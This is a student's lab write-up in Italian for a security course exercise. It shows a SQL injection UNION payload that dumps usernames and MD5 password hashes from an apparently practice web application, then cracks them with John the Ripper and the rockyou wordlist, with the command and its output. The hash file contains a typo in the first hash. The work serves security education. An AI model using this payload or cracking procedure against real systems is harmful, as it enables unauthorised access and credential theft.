

S5L6,

BENVENUTI LUIGI

Traccia:

Se guardiamo meglio le password, della lezione precedente, non hanno l'aspetto di password in chiaro, ma sembrano più hash di password MD5. Recuperate le password dal DB e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro. Sentitevi liberi di utilizzare qualsiasi dei tool visti nella lezione teorica. L'obiettivo dell'esercizio di oggi è craccare tutte le password.

Le password sono:

User ID:

ID: 'UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Creiamo un file testuale con le varie password ottenute:

```
1 f4dcc3b5aa765d61d8327deb882cf99
2 e99a18c428cb38d5f260853678922e03
3 8d3533d75ae2c3966d7e0d4fcc69216b
4 0d107d09f5bbe40cade3de5c71e9e9b7
5 5f4dcc3b5aa765d61d8327deb882cf99
```

Dopo aver scaricato il file contenente le altre password da confrontare, vediamo l'output:

```
(kali㉿kali)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 ./hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password (???)
abc123 (???)
letmein (???)
charley (???)
4g 0:00:00:00 DONE (2024-02-28 09:03) 100.0g/s 72000p/s 72000c/s 96000C/s my3kids..soccer9
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Confrontiamo i valori trovati con quelli usati in precedenza:

abc123	Cripta md5()
--------	--------------

Oppure

Stringa da decriptare	Decripta md5()
-----------------------	----------------

`md5-crypt("abc123")`

e99a18c428cb38d5f260853678922e03

letmein	Cripta md5()
---------	--------------

Oppure

Stringa da decriptare	Decripta md5()
-----------------------	----------------

`md5-crypt("letmein")`

0d107d09f5bbe40cade3de5c71e9e9b7

password	Cripta md5()
----------	--------------

Oppure

Stringa da decriptare	Decripta md5()
-----------------------	----------------

`md5-crypt("password")`

5f4dcc3b5aa765d61d8327deb882cf99

Your String	charley
MD5 Hash	8d3533d75ae2c3966d7e0d4fcc69216b

Copy

Jack the Ripper ha eseguito correttamente l'attacco.